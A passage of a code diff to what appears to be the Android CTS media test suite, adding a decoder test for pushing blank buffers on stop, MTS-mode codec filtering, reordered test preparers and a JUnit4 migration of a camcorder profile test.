+    public static final String INTENT_EXTRA_NO_TITLE = "NoTitle";
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R)) {
+            Intent intent = getIntent();
+            if (intent.getBooleanExtra(INTENT_EXTRA_NO_TITLE, false)) {
+                hideTitle();
+            }
+        }
         setTurnScreenOn(true);
         setShowWhenLocked(true);
 
@@ -64,4 +80,26 @@
     public SurfaceHolder getSurfaceHolder2() {
         return mHolder2;
     }
+
+    /** Note: Must be called from the thread used to create this activity. */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+    public void hideSystemBars() {
+        var surfaceV = (SurfaceView)findViewById(R.id.surface);
+        WindowInsetsController windowInsetsController = surfaceV.getWindowInsetsController();
+        if (windowInsetsController == null) {
+            return;
+        }
+        // Configure the behavior of the hidden system bars
+        windowInsetsController.setSystemBarsBehavior(
+                WindowInsetsController.BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE);
+        // Hide both the status bar and the navigation bar
+        windowInsetsController.hide(WindowInsets.Type.systemBars());
+    }
+
+    /** Note: Must be called before {@code setContentView}. */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+    private void hideTitle() {
+        getWindow().requestFeature(Window.FEATURE_NO_TITLE);
+    }
+
 }
diff --git a/tests/tests/media/common/src/android/media/cts/TestUtils.java b/tests/tests/media/common/src/android/media/cts/TestUtils.java
index b09d333..f98b3ab 100644
--- a/tests/tests/media/common/src/android/media/cts/TestUtils.java
+++ b/tests/tests/media/common/src/android/media/cts/TestUtils.java
@@ -25,8 +25,10 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.os.Bundle;
+import android.text.TextUtils;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
 import androidx.test.core.app.ApplicationProvider;
 
 import org.junit.Assert;
@@ -151,6 +153,46 @@
         return true;
     }
 
+    /*
+     * Report whether we are in MTS mode (vs in CTS) mode.
+     * Some tests (or parts of tests) are restricted to a particular mode.
+     */
+    public static boolean isMtsMode() {
+        Bundle bundle = InstrumentationRegistry.getArguments();
+        // null if not set
+        boolean isMTS = TextUtils.equals("true", bundle.getString("mts-media"));
+
+        return isMTS;
+    }
+
+    /*
+     * Report whether we want to test a particular code in the current test mode.
+     * CTS is pretty much "test them all".
+     * MTS should only be testing codecs that are part of the swcodec module; all of these
+     * begin with "c2.android."
+     *
+     * Used in spots throughout the test suite where we want to limit our testing to relevant
+     * codecs. This avoids false alarms that are sometimes triggered by non-compliant,
+     * non-mainline codecs.
+     *
+     * @param name    the name of a codec
+     * @return {@code} true is the codec should be tested in the current operating mode.
+     */
+    public static boolean isTestableCodecInCurrentMode(String name) {
+        if (name == null) {
+            return false;
+        }
+        if (!isMtsMode()) {
+            // CTS mode -- test everything
+            return true;
+        }
+        // MTS mode, just the codecs that live in the modules
+        if (name.startsWith("c2.android.")) {
+            return true;
+        }
+        return false;
+    }
+
     private TestUtils() {
     }
 
diff --git a/tests/tests/media/decoder/AndroidTest.xml b/tests/tests/media/decoder/AndroidTest.xml
index c7d4550..55fe608 100644
--- a/tests/tests/media/decoder/AndroidTest.xml
+++ b/tests/tests/media/decoder/AndroidTest.xml
@@ -33,6 +33,11 @@
         <option name="dynamic-config-name" value="CtsMediaDecoderTestCases" />
         <option name="version" value="1.0"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaDecoderTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaDecoderTestCases-1.1" />
@@ -42,11 +47,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaDecoderTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaDecoderTestCases" />
-        <option name="version" value="1.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.decoder.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderPushBlankBuffersOnStopTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderPushBlankBuffersOnStopTest.java
new file mode 100644
index 0000000..394a779
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderPushBlankBuffersOnStopTest.java
@@ -0,0 +1,256 @@
+package android.media.decoder.cts;
+
+import android.content.Intent;
+import android.content.res.AssetFileDescriptor;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.media.cts.MediaHeavyPresubmitTest;
+import android.media.cts.MediaStubActivity;
+import android.media.cts.Preconditions;
+import android.media.MediaCodec;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.os.Build;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+import android.view.Surface;
+
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.filters.SdkSuppress;
+import androidx.test.runner.screenshot.ScreenCapture;
+import androidx.test.runner.screenshot.Screenshot;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import org.junit.Test;
+import org.junit.Assert;
+import org.junit.Assume;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.nio.ByteBuffer;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Class that contains tests for the "Push blank buffers on stop" decoder feature.
+ * <br>
+ * In order to detect that a blank buffer has been pushed to the {@code Surface}that the codec works
+ * on, we take a fullscreen screenshot before and after the call to {@code MediaCodec#stop}. This
+ * workaround appears necessary at the time of writing because the usual APIs to extract the content
+ * of a native {@code Surface} (such as {@code PixelCopy} or {@code ImageReader}) appear to fail for
+ * this frame specifically.
+ * <br>
+ * This test class is inspired from the {@link DecoderTest} test class, but with specific setup code
+ * to ensure the activity is launched in immersive mode and its title is removed.
+ */
+@MediaHeavyPresubmitTest
+public class DecoderPushBlankBuffersOnStopTest {
+    private static final String TAG = "DecoderPushBlankBufferOnStopTest";
+    private static final String mInpPrefix = WorkDir.getMediaDirString();
+
+    /**
+     * Retrieve a file descriptor to a test resource from its file name.
+     * @param res  Name from a resource in the media assets
+     */
+    private static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        final String mediaDirPath = WorkDir.getMediaDirString();
+        File mediaFile = new File(mediaDirPath + res);
+        Preconditions.assertTestFileExists(mediaDirPath + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(mediaFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    private static boolean isUniformlyBlank(Bitmap bitmap) {
+        final var color = new Color(); // Defaults to opaque black in sRGB
+        final int width = bitmap.getWidth();
+        final int height = bitmap.getHeight();
+        // Check a subset of pixels against the first pixel of the image.
+        // This is not strictly sufficient, but probably good enough and much more efficient.
+        for (int y = 0; y < height; y+=4) {
+            for (int x = 0; x < width; x+=4) {
+                if (color.toArgb() != bitmap.getColor(x, y).toArgb()) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+
+    private void testPushBlankBuffersOnStop(String testVideo) throws Exception {
+        // Configure the test activity to hide its title
+        final var noTitle = new Intent(ApplicationProvider.getApplicationContext(),
+                MediaStubActivity.class);
+        noTitle.putExtra(MediaStubActivity.INTENT_EXTRA_NO_TITLE, true);
+        try(ActivityScenario<MediaStubActivity> scenario = ActivityScenario.launch(noTitle)) {
+            final var surface = new AtomicReference<Surface>();
+            scenario.onActivity(activity -> {
+                        surface.set(activity.getSurfaceHolder().getSurface());
+                    });
+
+            // Setup media extraction
+            final AssetFileDescriptor fd = getAssetFileDescriptorFor(testVideo);
+            final var extractor = new MediaExtractor();
+            extractor.setDataSource(fd);
+            fd.close();
+            MediaFormat format = null;
+            int trackIndex = -1;
+            for (int i = 0; i < extractor.getTrackCount(); i++) {
+                format = extractor.getTrackFormat(i);
+                if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                    trackIndex = i;
+                    break;
+                }
+            }
+            Assert.assertTrue("No video track was found", trackIndex >= 0);
+            extractor.selectTrack(trackIndex);
+            // Enable PUSH_BLANK_BUFFERS_ON_STOP
+            format.setInteger(MediaFormat.KEY_PUSH_BLANK_BUFFERS_ON_STOP, 1);
+
+            // Setup video codec
+            final var mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+            final String decoderName = mcl.findDecoderForFormat(format);
+            Assume.assumeNotNull(String.format("No decoder for %s", format), format);
+            final MediaCodec decoder = MediaCodec.createByCodecName(decoderName);
+            // Boolean set from the decoding thread to signal that a frame has been decoded
+            final var displayedFrame = new AtomicBoolean(false);
+            // Lock used for thread synchronization
+            final Lock lock = new ReentrantLock();
+            // Condition that signals the decoding thread has made enough progress
+            final Condition processingDone = lock.newCondition();
+            final var cb = new MediaCodec.Callback() {
+                    /** Queue input buffers until one buffer has been decoded. */
+                    @Override
+                    public void onInputBufferAvailable(MediaCodec codec, int index) {
+                        lock.lock();
+                        try {
+                            // Stop queuing frames once a frame has been displayed
+                            if (displayedFrame.get()) {
+                                return;
+                            }
+                        } finally {
+                            lock.unlock();
+                        }
+
+                        ByteBuffer inputBuffer = codec.getInputBuffer(index);
+                        int sampleSize = extractor.readSampleData(inputBuffer,
+                                0 /* offset */);
+                        if (sampleSize < 0) {
+                            codec.queueInputBuffer(index, 0 /* offset */, 0 /* sampleSize */,
+                                    0 /* presentationTimeUs */,
+                                    MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+                            return;
+                        }
+                        final long presentationTimeMs = System.currentTimeMillis();
+                        codec.queueInputBuffer(index, 0 /* offset */, sampleSize,
+                                presentationTimeMs * 1000, 0 /* flags */);
+                        extractor.advance();
+                    }
+
+                    /** Render the output buffer and signal that the processing is done. */
+                    @Override
+                    public void onOutputBufferAvailable(MediaCodec codec, int index,
+                            MediaCodec.BufferInfo info) {
+                        lock.lock();
+                        try {
+                            // Stop dequeuing frames once a frame has been displayed
+                            if (displayedFrame.get()) {
+                                return;
+                            }
+                        } finally {
+                            lock.unlock();
+                        }
+                        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                            return;
+                        }
+                        codec.releaseOutputBuffer(index, true);
+                    }
+
+                    /**
+                     * Check if the error is transient. If it is, ignore it, otherwise signal end of
+                     * processing.
+                     */
+                    @Override
+                    public void onError(MediaCodec codec, MediaCodec.CodecException e) {
+                        if (e.isTransient()) {
+                            return;
+                        }
+                        lock.lock();
+                        try {
+                            processingDone.signal();
+                        } finally {
+                            lock.unlock();
+                        }
+                    }
+
+                    /** Ignore format changed events. */
+                    @Override
+                    public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) { }
+                };
+            final var onFrameRenderedListener = new MediaCodec.OnFrameRenderedListener() {
+                    @Override
+                    public void onFrameRendered(MediaCodec codec, long presentationTimeUs,
+                            long nanoTime) {
+                        lock.lock();
+                        try {
+                            displayedFrame.set(true);
+                            processingDone.signal();
+                        } finally {
+                            lock.unlock();
+                        }
+                    }
+                };
+            decoder.setCallback(cb);
+            decoder.setOnFrameRenderedListener(onFrameRenderedListener, null /* handler */);
+            scenario.onActivity(activity -> activity.hideSystemBars());
+            decoder.configure(format, surface.get(), null /* MediaCrypto */, 0 /* flags */);
+            // Start playback
+            decoder.start();
+            final long startTime = System.currentTimeMillis();
+            // Wait until the codec has decoded a frame, or a timeout.
+            lock.lock();
+            try {
+                long startTimeMs = System.currentTimeMillis();
+                long timeoutMs = 1000;
+                while ((System.currentTimeMillis() < startTimeMs + timeoutMs) &&
+                        !displayedFrame.get()) {
+                    processingDone.await(timeoutMs, TimeUnit.MILLISECONDS);
+                }
+            } finally {
+                lock.unlock();
+            }
+            Assert.assertTrue("Could not render any frame.", displayedFrame.get());
+            final ScreenCapture captureBeforeStop = Screenshot.capture();
+            Assert.assertFalse("Frame is blank before stop.", isUniformlyBlank(
+                            captureBeforeStop.getBitmap()));
+            decoder.stop();
+            final ScreenCapture captureAfterStop = Screenshot.capture();
+            Assert.assertTrue("Frame is not blank after stop.", isUniformlyBlank(
+                            captureAfterStop.getBitmap()));
+            decoder.release();
+            extractor.release();
+        }
+    }
+
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+    @Test
+    public void testPushBlankBuffersOnStopVp9() throws Exception {
+        testPushBlankBuffersOnStop(
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
+    @Test
+    public void testPushBlankBuffersOnStopAvc() throws Exception {
+        testPushBlankBuffersOnStop(
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
index 6cf8802..fee4f04 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
@@ -2454,16 +2454,36 @@
     }
 
     @Test
-    public void testDecodeWithEOSOnLastBuffer() throws Exception {
+    public void testDecodeM4aWithEOSOnLastBuffer() throws Exception {
         testDecodeWithEOSOnLastBuffer("sinesweepm4a.m4a");
+    }
+
+    @Test
+    public void testDecodeMp3WithEOSOnLastBuffer() throws Exception {
         testDecodeWithEOSOnLastBuffer("sinesweepmp3lame.mp3");
         testDecodeWithEOSOnLastBuffer("sinesweepmp3smpb.mp3");
+    }
+
+    @Test
+    public void testDecodeOpusWithEOSOnLastBuffer() throws Exception {
         testDecodeWithEOSOnLastBuffer("sinesweepopus.mkv");
         testDecodeWithEOSOnLastBuffer("sinesweepopusmp4.mp4");
+    }
+
+    @Test
+    public void testDecodeWavWithEOSOnLastBuffer() throws Exception {
         testDecodeWithEOSOnLastBuffer("sinesweepwav.wav");
+    }
+
+    @Test
+    public void testDecodeFlacWithEOSOnLastBuffer() throws Exception {
         testDecodeWithEOSOnLastBuffer("sinesweepflacmkv.mkv");
         testDecodeWithEOSOnLastBuffer("sinesweepflac.flac");
         testDecodeWithEOSOnLastBuffer("sinesweepflacmp4.mp4");
+    }
+
+    @Test
+    public void testDecodeOggWithEOSOnLastBuffer() throws Exception {
         testDecodeWithEOSOnLastBuffer("sinesweepogg.ogg");
         testDecodeWithEOSOnLastBuffer("sinesweepoggmkv.mkv");
         testDecodeWithEOSOnLastBuffer("sinesweepoggmp4.mp4");
diff --git a/tests/tests/media/drmframework/AndroidTest.xml b/tests/tests/media/drmframework/AndroidTest.xml
index fc7b670..065c627 100644
--- a/tests/tests/media/drmframework/AndroidTest.xml
+++ b/tests/tests/media/drmframework/AndroidTest.xml
@@ -25,6 +25,11 @@
         <option name="dynamic-config-name" value="CtsMediaDrmFrameworkTestCases" />
         <option name="version" value="9.0_r1"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaDrmFrameworkTestCases" />
+        <option name="version" value="7.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaDrmFrameworkTestCases-1.0" />
@@ -34,11 +39,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaDrmFrameworkTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaDrmFrameworkTestCases" />
-        <option name="version" value="7.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.drmframework.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/encoder/AndroidTest.xml b/tests/tests/media/encoder/AndroidTest.xml
index 65d8d6d..4de5615 100644
--- a/tests/tests/media/encoder/AndroidTest.xml
+++ b/tests/tests/media/encoder/AndroidTest.xml
@@ -33,6 +33,11 @@
         <option name="dynamic-config-name" value="CtsMediaEncoderTestCases" />
         <option name="version" value="1.0"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaEncoderTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaEncoderTestCases-1.0" />
@@ -42,11 +47,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaEncoderTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaEncoderTestCases" />
-        <option name="version" value="1.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.encoder.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/encoder/src/android/media/encoder/cts/SurfaceEncodeTimestampTest.java b/tests/tests/media/encoder/src/android/media/encoder/cts/SurfaceEncodeTimestampTest.java
index 7d5a955..c4e76f0 100644
--- a/tests/tests/media/encoder/src/android/media/encoder/cts/SurfaceEncodeTimestampTest.java
+++ b/tests/tests/media/encoder/src/android/media/encoder/cts/SurfaceEncodeTimestampTest.java
@@ -27,6 +27,7 @@
 import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaFormat;
 import android.media.cts.InputSurface;
+import android.media.cts.TestArgs;
 import android.opengl.GLES20;
 import android.os.Build;
 import android.os.Bundle;
@@ -42,6 +43,10 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.filters.SdkSuppress;
 
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Before;
+
 import java.util.Arrays;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -70,12 +75,21 @@
     private static final int BORDER_WIDTH = 16;
     private static final int OUTPUT_FRAME_RATE = 30;
 
+    private static final String MEDIA_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
+
     private Handler mHandler;
     private HandlerThread mHandlerThread;
     private MediaCodec mEncoder;
     private InputSurface mInputEglSurface;
     private int mInputCount;
 
+    @Before
+    public void shouldSkip() {
+        if (TestArgs.shouldSkipMediaType(MEDIA_TYPE)) {
+            MediaUtils.skipTest(TAG, "Test should run only for video components");
+        }
+    }
+
     @Override
     public void setUp() throws Exception {
         if (mHandlerThread == null) {
@@ -323,9 +337,9 @@
             if (DEBUG) Log.d(TAG, "started");
 
             // setup surface encoder format
-            mEncoder = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_VIDEO_AVC);
+            mEncoder = MediaCodec.createEncoderByType(MEDIA_TYPE);
             MediaFormat codecFormat = MediaFormat.createVideoFormat(
-                    MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720);
+                    MEDIA_TYPE, 1280, 720);
             codecFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 0);
             codecFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
                     CodecCapabilities.COLOR_FormatSurface);
diff --git a/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java b/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java
index 7f38ea4..4afc7aa 100644
--- a/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java
+++ b/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java
@@ -65,6 +65,7 @@
 import org.junit.runners.Parameterized;
 
 import java.io.IOException;
+import java.lang.Throwable;
 import java.nio.ByteBuffer;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -177,21 +178,36 @@
                 }
                 public void onInputBufferAvailable(MediaCodec codec, int ix) {
                     if (it.hasNext()) {
-                        Pair<ByteBuffer, BufferInfo> el = it.next();
-                        el.first.clear();
                         try {
-                            codec.getInputBuffer(ix).put(el.first);
-                        } catch (java.nio.BufferOverflowException e) {
-                            Log.e(TAG, "cannot fit " + el.first.limit()
-                                    + "-byte encoded buffer into "
-                                    + codec.getInputBuffer(ix).remaining()
-                                    + "-byte input buffer of " + codec.getName()
-                                    + " configured for " + codec.getInputFormat());
-                            throw e;
+                            Pair<ByteBuffer, BufferInfo> el = it.next();
+                            el.first.clear();
+                            try {
+                                codec.getInputBuffer(ix).put(el.first);
+                            } catch (java.nio.BufferOverflowException e) {
+                                String diagnostic = "cannot fit " + el.first.limit()
+                                        + "-byte encoded buffer into "
+                                        + codec.getInputBuffer(ix).remaining()
+                                        + "-byte input buffer of " + codec.getName()
+                                        + " configured for " + codec.getInputFormat();
+                                Log.e(TAG, diagnostic);
+                                errorMsg.set(diagnostic + e);
+                                synchronized (condition) {
+                                    condition.notifyAll();
+                                }
+                                // no sense trying to enqueue the failed buffer
+                                return;
+                            }
+                            BufferInfo info = el.second;
+                                codec.queueInputBuffer(
+                                    ix, 0, info.size, info.presentationTimeUs, info.flags);
+                        } catch (Throwable t) {
+                          errorMsg.set("exception in onInputBufferAvailable( "
+                                       +  codec.getName() + "," + ix
+                                       + "): " + t);
+                          synchronized (condition) {
+                              condition.notifyAll();
+                          }
                         }
-                        BufferInfo info = el.second;
-                        codec.queueInputBuffer(
-                                ix, 0, info.size, info.presentationTimeUs, info.flags);
                     }
                 }
                 public void onError(MediaCodec codec, MediaCodec.CodecException e) {
diff --git a/tests/tests/media/extractor/AndroidTest.xml b/tests/tests/media/extractor/AndroidTest.xml
index 007a65b..fbe2d48 100644
--- a/tests/tests/media/extractor/AndroidTest.xml
+++ b/tests/tests/media/extractor/AndroidTest.xml
@@ -33,6 +33,11 @@
         <option name="dynamic-config-name" value="CtsMediaExtractorTestCases" />
         <option name="version" value="1.0"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaExtractorTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaExtractorTestCases-1.0" />
@@ -42,11 +47,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaExtractorTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaExtractorTestCases" />
-        <option name="version" value="1.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.extractor.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/misc/AndroidTest.xml b/tests/tests/media/misc/AndroidTest.xml
index a7ad967..96f7b81 100644
--- a/tests/tests/media/misc/AndroidTest.xml
+++ b/tests/tests/media/misc/AndroidTest.xml
@@ -34,6 +34,11 @@
         <option name="dynamic-config-name" value="CtsMediaMiscTestCases" />
         <option name="version" value="9.0_r1"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaMiscTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaMiscTestCases-1.0" />
@@ -43,11 +48,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaMiscTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaMiscTestCases" />
-        <option name="version" value="1.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.misc.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java b/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java
index c00407d..5c6e49e 100644
--- a/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java
+++ b/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java
@@ -16,6 +16,14 @@
 
 package android.media.misc.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
 import android.content.pm.PackageManager;
 import android.hardware.Camera;
 import android.hardware.Camera.Parameters;
@@ -28,13 +36,21 @@
 import android.media.MediaRecorder;
 import android.media.cts.NonMediaMainlineTest;
 import android.test.AndroidTestCase;
+import android.test.InstrumentationTestCase;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.Arrays;
 import java.util.List;
 
 @NonMediaMainlineTest
-public class CamcorderProfileTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class CamcorderProfileTest {
 
     private static final String TAG = "CamcorderProfileTest";
     private static final int MIN_HIGH_SPEED_FPS = 100;
@@ -381,7 +397,19 @@
                    ? "Checking get without id"
                    : "Checking get with id = " + cameraId);
 
-        final List<Size> videoSizes = getSupportedVideoSizes(cameraId);
+        Camera camera = null;
+        if (cameraId == -1) {
+            camera = Camera.open();
+            assumeTrue("Device does not have a back-facing camera", camera != null);
+        } else {
+            camera = Camera.open(cameraId);
+            assertNotNull("failed to open CameraId " + cameraId, camera);
+        }
+
+        final List<Size> videoSizes = getSupportedVideoSizes(camera);
+
+        camera.release();
+        camera = null;
 
         /**
          * Check all possible supported profiles: get profile should work, and the profile
@@ -477,26 +505,33 @@
                 specificHighSpeedProfileQualities, null);
     }
 
-    public void testGet() {
+    @Test
+    public void testGetFirstBackCamera() {
         /*
          * Device may not have rear camera for checkGet(-1).
          * Checking PackageManager.FEATURE_CAMERA is included or not to decide the flow.
          * Continue if the feature is included.
          * Otherwise, exit test.
          */
-        PackageManager pm = mContext.getPackageManager();
+        Context context = InstrumentationRegistry.getContext();
+        assertNotNull("did not find context", context);
+        PackageManager pm = context.getPackageManager();
+        assertNotNull("did not find package manager", pm);
         if (!pm.hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
             return;
         }
         checkGet(-1);
     }
 
+    @Test
     public void testGetWithId() {
         int nCamera = Camera.getNumberOfCameras();
+        Context context = InstrumentationRegistry.getContext();
+        assertNotNull("did not find context", context);
         for (int cameraId = 0; cameraId < nCamera; cameraId++) {
             boolean isExternal = false;
             try {
-                isExternal = CameraUtils.isExternal(mContext, cameraId);
+                isExternal = CameraUtils.isExternal(context, cameraId);
             } catch (Exception e) {
                 Log.e(TAG, "Unable to query external camera: " + e);
             }
@@ -507,15 +542,14 @@
         }
     }
 
-    private List<Size> getSupportedVideoSizes(int cameraId) {
-        Camera camera = (cameraId == -1)? Camera.open(): Camera.open(cameraId);
+    private List<Size> getSupportedVideoSizes(Camera camera) {
         Parameters parameters = camera.getParameters();
+        assertNotNull("Camera did not provide parameters", parameters);
         List<Size> videoSizes = parameters.getSupportedVideoSizes();
         if (videoSizes == null) {
             videoSizes = parameters.getSupportedPreviewSizes();
             assertNotNull(videoSizes);
         }
-        camera.release();
         return videoSizes;
     }
 
diff --git a/tests/tests/media/muxer/AndroidTest.xml b/tests/tests/media/muxer/AndroidTest.xml
index 502f2ca..0c361e9 100644
--- a/tests/tests/media/muxer/AndroidTest.xml
+++ b/tests/tests/media/muxer/AndroidTest.xml
@@ -33,6 +33,11 @@
         <option name="dynamic-config-name" value="CtsMediaMuxerTestCases" />
         <option name="version" value="1.0"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaMuxerTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaMuxerTestCases-1.1" />
@@ -42,11 +47,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaMuxerTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
